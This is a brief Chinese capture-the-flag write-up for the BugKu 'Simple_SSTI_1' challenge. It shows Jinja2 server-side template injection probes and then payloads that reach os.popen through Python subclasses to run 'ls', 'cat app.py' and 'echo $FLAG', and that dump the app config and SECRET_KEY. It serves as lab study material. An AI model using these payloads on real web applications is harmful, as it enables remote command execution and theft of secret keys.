【BugKu】Simple_SSTI

Simple_SSTI_1

猜测GET传参flag：?flag=1

测试注入：?flag=${7*7}

?flag={{7*7}}

?flag={{7*'7'}}

所以该模板使用的是jinja2渲染：?flag={{[].__class__.__base__.__subclasses__()}}

?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("ls").read()}}

?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("cat app.py").read()}}

?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("echo $FLAG").read()}}

payload 2

知道这是一个jinjia，可以直接查看配置：?flag={{config}}

也可以根据注释：?flag={{config.SECRET_KEY}}